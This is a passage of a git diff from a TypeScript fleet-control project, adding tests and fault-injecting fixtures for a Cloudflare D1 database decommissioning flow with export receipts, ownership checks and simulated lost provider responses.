DecommissionAdvanceIntentError, ); } @@ -623,6 +768,7 @@ describe('decommission advance intent', () => { phase: 'ready', decommissionIntent: { ...common('ready'), + databaseExportReceiptAuthority: RECEIPT_AUTHORITY, lifecyclePhase: 'decommissioned', state: 'complete', }, @@ -782,10 +928,21 @@ describe('decommission advance intent', () => { const valid = { ...common('ready'), identity: identity('ready', source), + databaseExportReceiptAuthority: RECEIPT_AUTHORITY, lifecyclePhase: 'decommissioned' as const, state: 'complete' as const, }; expect(parse(valid, source)).toEqual(valid); + const { + databaseExportReceiptAuthority: _databaseExportReceiptAuthority, + ...missingReceiptAuthority + } = valid; + expect(() => parse(missingReceiptAuthority, source)).toThrow( + DecommissionAdvanceIntentError, + ); + expect(() => + parse({ ...valid, databaseExportReceiptAuthority: undefined }, source), + ).toThrow(DecommissionAdvanceIntentError); expect(() => parse( { @@ -843,6 +1000,15 @@ describe('decommission advance intent', () => { revision: 3, }; expect(parseDecommissionAdvanceToken(valid)).toEqual(valid); + const transparent = new Proxy(valid, {}); + const revoked = Proxy.revocable(valid, {}); + revoked.revoke(); + expect(() => parseDecommissionAdvanceToken(transparent)).toThrow( + DecommissionAdvanceTokenError, + ); + expect(() => parseDecommissionAdvanceToken(revoked.proxy)).toThrow( + DecommissionAdvanceTokenError, + ); const actions: readonly DecommissionAdvanceAction[] = [ { kind: 'start' }, { kind: 'continue', token: valid }, @@ -854,6 +1020,7 @@ describe('decommission advance intent', () => { 'application-r2-inspection', 'application-r2-empty', 'application-r2-delete', + 'database-export-receipt', ]; const result: DecommissionAdvanceResult = { status: 'pending', @@ -988,6 +1155,7 @@ describe('decommission advance intent', () => { applicationResources: [applicationResource('deleted')], decommissionIntent: { ...intent, + databaseExportReceiptAuthority: RECEIPT_AUTHORITY, lifecyclePhase: 'decommissioned', state: 'complete', }, diff --git a/packages/fleet-control/test/fixtures/decommission-intent-fixture.ts b/packages/fleet-control/test/fixtures/decommission-intent-fixture.ts index bf934cf7..2db22a61 100644 --- a/packages/fleet-control/test/fixtures/decommission-intent-fixture.ts +++ b/packages/fleet-control/test/fixtures/decommission-intent-fixture.ts @@ -13,6 +13,7 @@ export interface NormalDecommissionIntentFixtureOptions { readonly updatedAt?: string; readonly requestedSpecDigest?: string; readonly entryLifecyclePhase?: NormalDecommissionLifecyclePhase; + readonly databaseExportReceiptAuthority?: string; } export function normalDecommissionIntentFixture( @@ -43,6 +44,12 @@ export function normalDecommissionIntentFixture( entryLifecyclePhase: options.entryLifecyclePhase ?? lifecyclePhase, }, }, + ...(options.databaseExportReceiptAuthority === undefined + ? {} + : { + databaseExportReceiptAuthority: + options.databaseExportReceiptAuthority, + }), lifecyclePhase, }; } diff --git a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts index 5f89f354..fe2f6f2d 100644 --- a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts +++ b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts @@ -22,11 +22,15 @@ import { import type { ApplicationR2BucketSnapshot, ApplicationR2Resource, + DatabaseExport, + DatabaseExportReceiptIdentity, + DatabaseReference, DecommissionAttachmentScanInput, DecommissionAttachmentScanResult, DeploymentSpec, FleetRecord, FleetStateLease, + FleetStateStore, PlatformPlaneLease, PlatformPlaneResourceSet, ProvisioningBackend, @@ -41,6 +45,7 @@ const STATE_TABLE = 'anchorage_fleet_deployments'; const LEASE_TABLE = 'anchorage_fleet_leases'; const PLATFORM_CLAIM_TABLE = 'anchorage_platform_plane_claims'; const PLATFORM_LEASE_TABLE = 'anchorage_platform_plane_leases'; +const BOUNDED_PROVIDER_TABLE = 'anchorage_test_bounded_decommission_provider'; const DB_NOW_MS = "CAST(unixepoch('subsec') * 1000 AS INTEGER)"; function controlledLeaseClock( @@ -134,6 +139,15 @@ function decommissionRecord(tenantTag: string, revision: number): FleetRecord { const DECOMMISSION_SCAN_EVIDENCE = 'b'.repeat(64); const DECOMMISSION_SCAN_EVIDENCE_COUNT = 2; const DECOMMISSION_CREATED_AT = '2026-08-30T00:00:00.000Z'; +const DECOMMISSION_RECEIPT_AUTHORITY = 'd1-test://fleet-exports/receipts/v1'; +const DECOMMISSION_EXPORT_SHA256 = 'c'.repeat(64); +const DECOMMISSION_EXPORT_SIZE = 37; + +function boundedDatabaseId(tenantTag: 'advance' | 'advancelost'): string { + return tenantTag === 'advance' + ? '00000000-0000-4000-8000-000000000201' + : '00000000-0000-4000-8000-000000000202'; +} function boundedDecommissionSpec(tenantTag: string): DeploymentSpec { return { @@ -161,12 +175,13 @@ function boundedDecommissionSpec(tenantTag: string): DeploymentSpec { function boundedDecommissionRecord( spec: DeploymentSpec, + startAtD1 = false, ): Readonly<{ record: FleetRecord; resource: ApplicationR2Resource }> { const reserved = reserveApplicationR2Resources(spec)[0]; if (!reserved) throw new Error('bounded decommission R2 reservation missing'); const resource: ApplicationR2Resource = { ...reserved, - state: 'created', + state: startAtD1 ? 'deleted' : 'created', creationDate: DECOMMISSION_CREATED_AT, }; return { @@ -176,7 +191,9 @@ function boundedDecommissionRecord( environment: spec.environment, backend: 'plain-worker', scriptName: spec.scriptName, - databaseId: `${spec.tenantTag}-database-id`, + databaseId: boundedDatabaseId( + spec.tenantTag as 'advance' | 'advancelost', + ), databaseName: spec.databaseName, schemaVersion: spec.schemaVersion, artifactVersion: `${spec.tenantTag}-artifact-v1`, @@ -185,29 +202,197 @@ function boundedDecommissionRecord( applicationBindings: applicationBindingTopology(spec, [resource]), durableObjectBindings: [], routeHostname: spec.routeHostname, - phase: 'application-resources-deleting', + phase: startAtD1 + ? 'application-resources-deleted' + : 'application-resources-deleting', updatedAt: '2026-08-29T00:00:00.000Z', }, }; } +type BoundedProviderOutcome = + | Readonly<{ status: 'fulfilled'; value?: 'default' | 'present' | 'absent' }> + | Readonly<{ + status: 'rejected'; + reason: 'error' | 'null' | 'undefined'; + }>; + +interface BoundedProviderRow { + readonly tenant_tag: string; + readonly database_id: string; + readonly database_name: string; + readonly observed_database_id: string; + readonly observed_database_name: string; + readonly owner: string; + readonly database_present: number; + readonly receipt_authority: string | null; + readonly receipt_operation_id: string | null; + readonly receipt_location: string | null; + readonly receipt_size: number | null; + readonly receipt_sha256: string | null; + readonly receipt_commit_count: number; + readonly export_call_count: number; + readonly delete_count: number; + readonly next_export_outcome: string | null; + readonly next_delete_outcome: string | null; + readonly next_readback_outcome: string | null; + readonly ownership_assertion_count: number; + readonly next_ownership_failure_ordinal: number | null; +} + +async function ensureBoundedProviderState( + db: D1Database, + tenantTag: 'advance' | 'advancelost', + databaseName: string, +): Promise { + await db + .prepare( + `CREATE TABLE IF NOT EXISTS ${BOUNDED_PROVIDER_TABLE} ( + tenant_tag TEXT PRIMARY KEY, + database_id TEXT NOT NULL, + database_name TEXT NOT NULL, + observed_database_id TEXT NOT NULL, + observed_database_name TEXT NOT NULL, + owner TEXT NOT NULL, + database_present INTEGER NOT NULL, + receipt_authority TEXT, + receipt_operation_id TEXT, + receipt_location TEXT, + receipt_size INTEGER, + receipt_sha256 TEXT, + receipt_commit_count INTEGER NOT NULL DEFAULT 0, + export_call_count INTEGER NOT NULL DEFAULT 0, + delete_count INTEGER NOT NULL DEFAULT 0, + next_export_outcome TEXT, + next_delete_outcome TEXT, + next_readback_outcome TEXT, + ownership_assertion_count INTEGER NOT NULL DEFAULT 0, + next_ownership_failure_ordinal INTEGER + )`, + ) + .run(); + const databaseId = boundedDatabaseId(tenantTag); + await db + .prepare( + `INSERT OR IGNORE INTO ${BOUNDED_PROVIDER_TABLE} ( + tenant_tag, + database_id, + database_name, + observed_database_id, + observed_database_name, + owner, + database_present + ) VALUES (?, ?, ?, ?, ?, ?, 1)`, + ) + .bind( + tenantTag, + databaseId, + databaseName, + databaseId, + databaseName, + tenantTag, + ) + .run(); +} + +async function readBoundedProviderState( + db: D1Database, + tenantTag: 'advance' | 'advancelost', +): Promise { + const row = await db + .prepare(`SELECT * FROM ${BOUNDED_PROVIDER_TABLE} WHERE tenant_tag = ?`) + .bind(tenantTag) + .first(); + if (!row) throw new Error('bounded provider state is absent'); + return row; +} + +function decodeBoundedProviderOutcome( + value: string | null, +): BoundedProviderOutcome | undefined { + return value === null + ? undefined + : (JSON.parse(value) as BoundedProviderOutcome); +} + +function rejectBoundedProviderOutcome( + outcome: Extract, +): never { + if (outcome.reason === 'null') throw null; + if (outcome.reason === 'undefined') throw undefined; + throw new Error('bounded provider injected rejection'); +} + class BoundedDecommissionBackend implements ProvisioningBackend { readonly kind = 'plain-worker' as const; + readonly databaseExportReceiptAuthority = DECOMMISSION_RECEIPT_AUTHORITY; readonly events: string[] = []; #bucketExists: boolean; + #deleteAttempted = false; constructor( + readonly db: D1Database, + readonly tenantTag: 'advance' | 'advancelost', readonly resource: ApplicationR2Resource, bucketExists: boolean, readonly scanPass: string | undefined, + readonly options: Readonly<{ + afterScan?: 'absent' | 'id' | 'name' | 'owner'; + loseReceiptResponse?: boolean; + loseDeleteResponse?: boolean; + }>, ) { this.#bucketExists = bucketExists; } async advanceDecommissionAttachmentScan( - _input: DecommissionAttachmentScanInput, + input: DecommissionAttachmentScanInput, ): Promise { this.events.push(`scan:${this.scanPass ?? 'unexpected'}`); + if (input.progress.target.kind === 'd1') { + switch (this.options.afterScan) { + case 'absent': + await this.db + .prepare( + `UPDATE ${BOUNDED_PROVIDER_TABLE} + SET database_present = 0 + WHERE tenant_tag = ?`, + ) + .bind(this.tenantTag) + .run(); + break; + case 'id': + await this.db + .prepare( + `UPDATE ${BOUNDED_PROVIDER_TABLE} + SET observed_database_id = database_id || '-drift' + WHERE tenant_tag = ?`, + ) + .bind(this.tenantTag) + .run(); + break; + case 'name': + await this.db + .prepare( + `UPDATE ${BOUNDED_PROVIDER_TABLE} + SET observed_database_name = database_name || '-drift' + WHERE tenant_tag = ?`, + ) + .bind(this.tenantTag) + .run(); + break; + case 'owner': + await this.db + .prepare( + `UPDATE ${BOUNDED_PROVIDER_TABLE} + SET owner = 'foreign' + WHERE tenant_tag = ?`, + ) + .bind(this.tenantTag) + .run(); + break; + } + } return { status: 'complete', evidenceSha256: DECOMMISSION_SCAN_EVIDENCE, @@ -243,16 +428,53 @@ class BoundedDecommissionBackend implements ProvisioningBackend { throw new Error('bounded coordinator called legacy R2 attachment listing'); } - async assertDatabaseDeletionResidualsRemoved(): Promise { - throw new Error('bounded coordinator crossed the inert D1 boundary'); + async assertDatabaseDeletionResidualsRemoved(): Promise { + this.events.push('d1-residuals'); } async findDatabase(): Promise { throw new Error('bounded coordinator unexpectedly found D1'); } - async getDatabase(): Promise { - throw new Error('bounded coordinator unexpectedly read D1'); + async getDatabase( + databaseId: string, + ): Promise { + this.events.push('d1-get'); + const row = await readBoundedProviderState(this.db, this.tenantTag); + if (databaseId !== row.database_id) { + throw new Error('bounded coordinator read an unexpected D1 ID'); + } + if (this.#deleteAttempted) { + const outcome = decodeBoundedProviderOutcome(row.next_readback_outcome); + if (outcome) { + await this.db + .prepare( + `UPDATE ${BOUNDED_PROVIDER_TABLE} + SET next_readback_outcome = NULL + WHERE tenant_tag = ?`, + ) + .bind(this.tenantTag) + .run(); + if (outcome.status === 'rejected') { + rejectBoundedProviderOutcome(outcome); + } + if (outcome.value === 'absent') return undefined; + if (outcome.value === 'present') { + return { + id: row.observed_database_id, + name: row.observed_database_name, + created: false, + }; + } + } + } + return row.database_present === 0 + ? undefined + : { + id: row.observed_database_id, + name: row.observed_database_name, + created: false, + }; } async ensureDatabase(): Promise { @@ -263,8 +485,9 @@ class BoundedDecommissionBackend implements ProvisioningBackend { throw new Error('bounded coordinator unexpectedly seeded D1'); } - async readDeploymentIdentity(): Promise { - throw new Error('bounded coordinator unexpectedly read D1 ownership'); + async readDeploymentIdentity(): Promise { + this.events.push('d1-owner'); + return (await readBoundedProviderState(this.db, this.tenantTag)).owner; } async applyMigrations(): Promise { @@ -315,8 +538,113 @@ class BoundedDecommissionBackend implements ProvisioningBackend { throw new Error('bounded coordinator unexpectedly exported D1'); } - async deleteDatabase(): Promise { - throw new Error('bounded coordinator unexpectedly deleted D1'); + async exportDatabaseReceipt( + identity: DatabaseExportReceiptIdentity, + ): Promise { + this.events.push('d1-export'); + const row = await readBoundedProviderState(this.db, this.tenantTag); + await this.db + .prepare( + `UPDATE ${BOUNDED_PROVIDER_TABLE} + SET export_call_count = export_call_count + 1 + WHERE tenant_tag = ?`, + ) + .bind(this.tenantTag) + .run(); + const outcome = decodeBoundedProviderOutcome(row.next_export_outcome); + if (outcome) { + await this.db + .prepare( + `UPDATE ${BOUNDED_PROVIDER_TABLE} + SET next_export_outcome = NULL + WHERE tenant_tag = ?`, + ) + .bind(this.tenantTag) + .run(); + if (outcome.status === 'rejected') { + rejectBoundedProviderOutcome(outcome); + } + } + if ( + identity.authority !== DECOMMISSION_RECEIPT_AUTHORITY || + identity.databaseId !== row.database_id + ) { + throw new Error( + 'bounded provider received a mismatched receipt identity', + ); + } + const location = + row.receipt_location ?? + `${DECOMMISSION_RECEIPT_AUTHORITY}/${identity.databaseId}/${identity.operationId}.sql`; + if (row.receipt_operation_id === null) { + await this.db + .prepare( + `UPDATE ${BOUNDED_PROVIDER_TABLE} + SET receipt_authority = ?, + receipt_operation_id = ?, + receipt_location = ?, + receipt_size = ?, + receipt_sha256 = ?, + receipt_commit_count = receipt_commit_count + 1 + WHERE tenant_tag = ?`, + ) + .bind( + identity.authority, + identity.operationId, + location, + DECOMMISSION_EXPORT_SIZE, + DECOMMISSION_EXPORT_SHA256, + this.tenantTag, + ) + .run(); + } else if ( + row.receipt_authority !== identity.authority || + row.receipt_operation_id !== identity.operationId || + row.receipt_size !== DECOMMISSION_EXPORT_SIZE || + row.receipt_sha256 !== DECOMMISSION_EXPORT_SHA256 + ) { + throw new Error('bounded provider preserved a mismatched receipt winner'); + } + if (this.options.loseReceiptResponse) { + throw new Error('bounded receipt response lost'); + } + return { + databaseId: identity.databaseId, + location, + size: DECOMMISSION_EXPORT_SIZE, + sha256: DECOMMISSION_EXPORT_SHA256, + }; + } + + async deleteDatabase(): Promise { + this.events.push('d1-delete'); + this.#deleteAttempted = true; + const row = await readBoundedProviderState(this.db, this.tenantTag); + const outcome = decodeBoundedProviderOutcome(row.next_delete_outcome); + if (outcome) { + await this.db + .prepare( + `UPDATE ${BOUNDED_PROVIDER_TABLE} + SET next_delete_outcome = NULL + WHERE tenant_tag = ?`, + ) + .bind(this.tenantTag) + .run(); + if (outcome.status === 'rejected') { + rejectBoundedProviderOutcome(outcome); + } + } + await this.db + .prepare( + `UPDATE ${BOUNDED_PROVIDER_TABLE} + SET database_present = ?, delete_count = delete_count + 1 + WHERE tenant_tag = ?`, + ) + .bind(outcome?.value === 'present' ? 1 : 0, this.tenantTag) + .run(); + if (this.options.loseDeleteResponse) { + throw new Error('bounded delete response lost'); + } } } @@ -325,7 +653,93 @@ interface BoundedDecommissionStepInput { readonly operation: Readonly< { kind: 'start' } | { kind: 'continue'; token: unknown } >; + readonly afterScan?: 'absent' | 'id' | 'name' | 'owner'; + readonly failWriteBeforeCommit?: boolean; readonly loseWrite?: boolean; + readonly loseReceiptResponse?: boolean; + readonly loseDeleteResponse?: boolean; + readonly nextExportOutcome?: BoundedProviderOutcome; + readonly nextDeleteOutcome?: BoundedProviderOutcome; + readonly nextReadbackOutcome?: BoundedProviderOutcome; + readonly nextOwnershipFailureOrdinal?: number; + readonly seedAtD1?: boolean; +} + +async function configureBoundedProviderState( + db: D1Database, + input: BoundedDecommissionStepInput, +): Promise { + const outcomes = [ + ['next_export_outcome', input.nextExportOutcome], + ['next_delete_outcome', input.nextDeleteOutcome], + ['next_readback_outcome', input.nextReadbackOutcome], + ] as const; + for (const [column, outcome] of outcomes) { + if (outcome === undefined) continue; + await db + .prepare( + `UPDATE ${BOUNDED_PROVIDER_TABLE} + SET ${column} = ? + WHERE tenant_tag = ?`, + ) + .bind(JSON.stringify(outcome), input.tenantTag) + .run(); + } + if (input.nextOwnershipFailureOrdinal !== undefined) { + await db + .prepare( + `UPDATE ${BOUNDED_PROVIDER_TABLE} + SET ownership_assertion_count = 0, + next_ownership_failure_ordinal = ? + WHERE tenant_tag = ?`, + ) + .bind(input.nextOwnershipFailureOrdinal, input.tenantTag) + .run(); + } +} + +function providerAssertionStore( + db: D1Database, + tenantTag: 'advance' | 'advancelost', + delegate: D1FleetStateStore, +): FleetStateStore { + return { + get: (requestedTenantTag, environment) => + delegate.get(requestedTenantTag, environment), + list: () => delegate.list(), + withDeploymentLease: (requestedTenantTag, environment, operation) => + delegate.withDeploymentLease(requestedTenantTag, environment, (lease) => + operation({ + tenantTag: lease.tenantTag, + environment: lease.environment, + mutationLeaseTtlMs: lease.mutationLeaseTtlMs, + async assertOwned() { + const state = await readBoundedProviderState(db, tenantTag); + const ordinal = state.ownership_assertion_count + 1; + await db + .prepare( + `UPDATE ${BOUNDED_PROVIDER_TABLE} + SET ownership_assertion_count = ?, + next_ownership_failure_ordinal = + CASE WHEN next_ownership_failure_ordinal = ? + THEN NULL + ELSE next_ownership_failure_ordinal + END + WHERE tenant_tag = ?`, + ) + .bind(ordinal, ordinal, tenantTag) + .run(); + if (state.next_ownership_failure_ordinal === ordinal) { + throw new Error('bounded provider lease ownership transferred'); + } + await lease.assertOwned(); + }, + renew: () => lease.renew(), + put: (record) => lease.put(record), + delete: () => lease.delete(), + }), + ), + }; } async function boundedDecommissionStep( @@ -333,12 +747,14 @@ async function boundedDecommissionStep( input: BoundedDecommissionStepInput, ): Promise { const spec = boundedDecommissionSpec(input.tenantTag); + await ensureBoundedProviderState(db, input.tenantTag, spec.databaseName); + await configureBoundedProviderState(db, input); const seedStore = new D1FleetStateStore(new D1FleetStateDatabase(db), { accountId: 'account-primary', }); let current = await seedStore.get(spec.tenantTag, spec.environment); if (!current) { - const seeded = boundedDecommissionRecord(spec).record; + const seeded = boundedDecommissionRecord(spec, input.seedAtD1).record; await seedStore.withDeploymentLease( seeded.tenantTag, seeded.environment, @@ -349,33 +765,49 @@ async function boundedDecommissionStep( const delegate = new D1FleetStateDatabase(db); let lostWriteCount = 0; - const database: FleetStateDatabase = input.loseWrite - ? { - query: (sql, bindings) => delegate.query(sql, bindings), - execute: (sql, bindings) => delegate.execute(sql, bindings), - async batch(statements) { - const result = await delegate.batch(statements); - if (lostWriteCount === 0) { - lostWriteCount += 1; - throw new Error('bounded coordinator write response lost'); - } - return result; - }, - } - : delegate; + let precommitWriteFailureCount = 0; + const database: FleetStateDatabase = + input.loseWrite || input.failWriteBeforeCommit + ? { + query: (sql, bindings) => delegate.query(sql, bindings), + execute: (sql, bindings) => delegate.execute(sql, bindings), + async batch(statements) { + if ( + input.failWriteBeforeCommit && + precommitWriteFailureCount === 0 + ) { + precommitWriteFailureCount += 1; + throw new Error('bounded coordinator write failed before commit'); + } + const result = await delegate.batch(statements); + if (input.loseWrite && lostWriteCount === 0) { + lostWriteCount += 1; + throw new Error('bounded coordinator write response lost'); + } + return result; + }, + } + : delegate; const store = new D1FleetStateStore(database, { accountId: 'account-primary', }); const resource = current.applicationResources?.[0]; if (!resource) throw new Error('bounded decommission resource missing'); const backend = new BoundedDecommissionBackend( + db, + input.tenantTag, resource, resource.state !== 'deleted', current.decommissionIntent?.state, + { + afterScan: input.afterScan, + loseReceiptResponse: input.loseReceiptResponse, + loseDeleteResponse: input.loseDeleteResponse, + }, ); const result = await advanceDecommissionDeployment({ backend, - store, + store: providerAssertionStore(db, input.tenantTag, store), spec, action: input.operation, maxProviderRequests: 12, @@ -386,6 +818,7 @@ async function boundedDecommissionStep( : '00000000-0000-4000-8000-000000000102', }); const stored = await store.get(spec.tenantTag, spec.environment); + const provider = await readBoundedProviderState(db, input.tenantTag); const claims = await db .prepare( `SELECT resource_type, resource_name, resource_role @@ -411,6 +844,23 @@ async function boundedDecommissionStep( stored?.applicationResources?.map(({ state }) => state) ?? [], bucketName: resource.bucketName, lostWriteCount, + precommitWriteFailureCount, + provider: { + databaseId: provider.database_id, + databasePresent: provider.database_present === 1, + observedDatabaseId: provider.observed_database_id, + observedDatabaseName: provider.observed_database_name, + owner: provider.owner, + receiptAuthority: provider.receipt_authority, + receiptOperationId: provider.receipt_operation_id, + receiptLocation: provider.receipt_location, + receiptSize: provider.receipt_size, + receiptSha256: provider.receipt_sha256, + receiptCommitCount: provider.receipt_commit_count, + exportCallCount: provider.export_call_count, + deleteCount: provider.delete_count, + ownershipAssertionCount: provider.ownership_assertion_count, + }, claims: claims.results.map((claim) => ({ resourceType: claim.resource_type, resourceName: claim.resource_name, @@ -419,6 +869,35 @@ async function boundedDecommissionStep( }; } +async function resetBoundedDecommission( + db: D1Database, + tenantTag: 'advance' | 'advancelost', +): Promise { + await db + .prepare(`DELETE FROM ${PLATFORM_CLAIM_TABLE} WHERE resource_set_key = ?`) + .bind(`deployment:${tenantTag}:production`) + .run(); + await db + .prepare( + `DELETE FROM ${STATE_TABLE} + WHERE tenant_tag = ? AND environment = 'production'`, + ) + .bind(tenantTag) + .run(); + await db + .prepare( + `DELETE FROM ${LEASE_TABLE} + WHERE tenant_tag = ? AND environment = 'production'`, + ) + .bind(tenantTag) + .run(); + await db + .prepare(`DELETE FROM ${BOUNDED_PROVIDER_TABLE} WHERE tenant_tag = ?`) + .bind(tenantTag) + .run(); + return { reset: true }; +} + function errorShape(error: unknown): unknown { if (error instanceof AggregateError) { return { @@ -1543,6 +2022,14 @@ export default { body.input as BoundedDecommissionStepInput, ), ); + case 'bounded-decommission-reset': + return Response.json( + await resetBoundedDecommission( + env.DB, + (body.input as { tenantTag: 'advance' | 'advancelost' }) + .tenantTag, + ), + ); case 'lifecycle-errors': return Response.json(await lifecycleErrors(env.DB)); case 'cloudflare-rate-coordination': diff --git a/packages/fleet-control/test/fixtures/plain-worker-harnesses.ts b/packages/fleet-control/test/fixtures/plain-worker-harnesses.ts index ba78f490..65dd6743 100644 --- a/packages/fleet-control/test/fixtures/plain-worker-harnesses.ts +++ b/packages/fleet-control/test/fixtures/plain-worker-harnesses.ts @@ -5,21 +5,26 @@ import { mkdtempSync } from 'node:fs'; import { tmpdir } from 'node:os'; import { join } from 'node:path'; import { CloudflareApiPlainWorkerBackend } from '../../src/cloudflare-api-plain-worker-backend.js'; +import { CloudflareProvisioningClient } from '../../src/cloudflare-client.js'; import { - CloudflareProvisioningClient, + captureDatabaseExportIntegrityPromise, type DurableDatabaseExportStore, -} from '../../src/cloudflare-client.js'; + databaseExportReceiptError, + databaseExportReceiptIdentityFromUnknown, +} from '../../src/database-export-store.js'; import { plainWorkerIngressModule } from '../../src/plain-worker-backend.js'; import { uploadIntentToProviderBindings } from '../../src/provider-binding-inventory.js'; import { deploymentSpecDigest } from '../../src/spec-digest.js'; -import type { - DeploymentSecrets, - DeploymentSpec, - FleetRecord, - FleetStateLease, - FleetStateStore, - PlainWorkerUploadIntent, - ProvisioningBackend, +import { + type DatabaseExportReceiptIdentity, + type DeploymentSecrets, + type DeploymentSpec, + effectiveLifecyclePhase, + type FleetRecord, + type FleetStateLease, + type FleetStateStore, + type PlainWorkerUploadIntent, + type ProvisioningBackend, } from '../../src/types.js'; import { WranglerLoopBackend } from '../../src/wrangler-loop-backend.js'; import { @@ -196,8 +201,15 @@ export function seedWorkerFromSpec( } = {}, ) { const spec = options.spec ?? buildPlainWorkerSpec(); - const databaseId = options.databaseId ?? 'database-1'; - if (!world.databases.some((database) => database.databaseId === databaseId)) { + let databaseId = options.databaseId; + if (databaseId === undefined) { + databaseId = world.databases.find( + (database) => database.name === spec.databaseName, + )?.databaseId; + databaseId ??= world.seedDatabase(spec.databaseName).databaseId; + } else if ( + !world.databases.some((database) => database.databaseId === databaseId) + ) { world.seedDatabase(spec.databaseName, { databaseId }); } const intent = uploadIntentForSpec( @@ -268,9 +280,13 @@ export class HarnessFleetStore implements FleetStateStore { } async put(record: FleetRecord): Promise { - if (this.failPutPhase === record.phase) { + if ( + this.failPutPhase === record.phase || + this.failPutPhase === effectiveLifecyclePhase(record) + ) { + const failedPhase = this.failPutPhase; this.failPutPhase = undefined; - throw new Error(`failed state write at ${record.phase}`); + throw new Error(`failed state write at ${failedPhase}`); } this.record = structuredClone(record); this.phases.push(record.phase); @@ -288,27 +304,42 @@ export class HarnessFleetStore implements FleetStateStore { } export class HarnessExportStore implements DurableDatabaseExportStore { + readonly receiptAuthority = 'memory://fleet-exports/receipts/v1'; readonly exports = new Map< string, { readonly fileName: string; readonly bytes: Uint8Array } >(); + readonly receipts = new Map< + string, + Readonly<{ + identity: DatabaseExportReceiptIdentity; + location: string; + size: number; + sha256: string; + bytes: Uint8Array; + }> + >(); - async write(input: { - readonly databaseId: string; - readonly fileName: string; - readonly body: ReadableStream; - }): Promise<{ location: string; size: number; sha256: string }> { + async #readBody(body: ReadableStream): Promise { const chunks: Uint8Array[] = []; - const reader = input.body.getReader(); + const reader = body.getReader(); for (;;) { const chunk = await reader.read(); if (chunk.done) break; chunks.push(chunk.value); } - const bytes = Buffer.concat(chunks); + return new Uint8Array(Buffer.concat(chunks)); + } + + async write(input: { + readonly databaseId: string; + readonly fileName: string; + readonly body: ReadableStream; + }): Promise<{ location: string; size: number; sha256: string }> { + const bytes = await this.#readBody(input.body); this.exports.set(input.databaseId, { fileName: input.fileName, - bytes: new Uint8Array(bytes), + bytes, }); return { location: `memory://fleet-exports/${input.databaseId}/${input.fileName}`, @@ -316,6 +347,66 @@ export class HarnessExportStore implements DurableDatabaseExportStore { sha256: createHash('sha256').update(bytes).digest('hex'), }; } + + async writeReceipt(input: { + readonly identity: DatabaseExportReceiptIdentity; + readonly body: ReadableStream; + readonly contentLength?: number; + readonly expectedIntegrity: Promise<{ + readonly size: number; + readonly sha256: string; + }>; + }): Promise<{ location: string; size: number; sha256: string }> { + const identity = databaseExportReceiptIdentityFromUnknown( + input.identity, + this.receiptAuthority, + ); + const expectedPromise = captureDatabaseExportIntegrityPromise( + input.expectedIntegrity, + ); + const bytes = await this.#readBody(input.body); + const expected = await expectedPromise; + const integrity = { + size: bytes.byteLength, + sha256: createHash('sha256').update(bytes).digest('hex'), + }; + if ( + integrity.size !== expected.size || + integrity.sha256 !== expected.sha256 + ) { + throw databaseExportReceiptError('source-mismatch'); + } + const key = `${identity.databaseId}:${identity.operationId}`; + const winner = this.receipts.get(key); + if (winner) { + if ( + winner.identity.authority !== identity.authority || + winner.identity.databaseId !== identity.databaseId || + winner.identity.operationId !== identity.operationId || + winner.size !== integrity.size || + winner.sha256 !== integrity.sha256 + ) { + throw databaseExportReceiptError('collision'); + } + return { + location: winner.location, + size: winner.size, + sha256: winner.sha256, + }; + } + const location = `${this.receiptAuthority}/${identity.databaseId}/${identity.operationId}.sql`; + this.receipts.set(key, { + identity, + location, + ...integrity, + bytes, + }); + this.exports.set(identity.databaseId, { + fileName: `${identity.operationId}.sql`, + bytes, + }); + return { location, ...integrity }; + } } type ProjectedFetch = ReturnType; @@ -362,7 +453,7 @@ export function assertHarnessFailuresConsumed(): void { } export function wranglerHarness( - world: ProviderWorld = providerWorld(), + world: ProviderWorld = providerWorld('uuid'), options: PlainWorkerHarnessOptions = {}, ): PlainWorkerHarness & { readonly exportDirectory: string } { const exportStore = new HarnessExportStore(); @@ -392,7 +483,7 @@ export function wranglerHarness( } export function directHarness( - world: ProviderWorld = providerWorld(), + world: ProviderWorld = providerWorld('uuid'), options: PlainWorkerHarnessOptions = {}, ): PlainWorkerHarness { const exportStore = new HarnessExportStore(); diff --git a/packages/fleet-control/test/fixtures/provider-world.ts b/packages/fleet-control/test/fixtures/provider-world.ts index 34cbddcb..fd4a23b5 100644 --- a/packages/fleet-control/test/fixtures/provider-world.ts +++ b/packages/fleet-control/test/fixtures/provider-world.ts @@ -125,6 +125,8 @@ export interface ProviderDatabase { readonly d1: D1State; } +export type ProviderDatabaseIdMode = 'sequence' | 'uuid'; + export interface ProviderUpload { readonly scriptName: string; readonly mode: 'initial' | 'staged'; @@ -209,11 +211,17 @@ class WorldAllocators { ); } - databaseId(world: ProviderWorld): string { - return this.#next( - 'database', - new Set(world.databases.map(({ databaseId }) => databaseId)), + databaseId(world: ProviderWorld, mode: ProviderDatabaseIdMode): string { + const occupied = new Set( + world.databases.map(({ databaseId }) => databaseId), ); + if (mode === 'sequence') return this.#next('database', occupied); + for (;;) { + const next = (this.#counters.get('database') ?? 0) + 1; + this.#counters.set('database', next); + const candidate = `00000000-0000-4000-8000-${String(next).padStart(12, '0')}`; + if (!occupied.has(candidate)) return candidate; + } } domainId(world: ProviderWorld): string { @@ -300,6 +308,8 @@ export class ProviderWorld { readonly #afterEffects = new Map(); readonly #deferredFailures = new Set(); + constructor(readonly databaseIdMode: ProviderDatabaseIdMode = 'sequence') {} + failNext(operation: string, failure: ProviderFailure): void { if (this.#failures.has(operation)) { throw new Error(`failure already registered for '${operation}'`); @@ -350,7 +360,10 @@ export class ProviderWorld { await effect?.(this); } - createDatabase(name: string, databaseId = this.#allocators.databaseId(this)) { + createDatabase( + name: string, + databaseId = this.#allocators.databaseId(this, this.databaseIdMode), + ) { const database = this.#insertDatabase(name, databaseId); this.mutationLog.push(`create-database:${databaseId}`); return database; @@ -365,7 +378,8 @@ export class ProviderWorld { ): ProviderDatabase { const database = this.#insertDatabase( name, - options.databaseId ?? this.#allocators.databaseId(this), + options.databaseId ?? + this.#allocators.databaseId(this, this.databaseIdMode), ); if (options.exportBytes) { this.exports.set( @@ -515,7 +529,7 @@ export class ProviderWorld { } clone(): ProviderWorld { - const cloned = new ProviderWorld(); + const cloned = new ProviderWorld(this.databaseIdMode); cloned.maintenanceOrigin = this.maintenanceOrigin; cloned.routeOrigin = this.routeOrigin; cloned.#allocators = 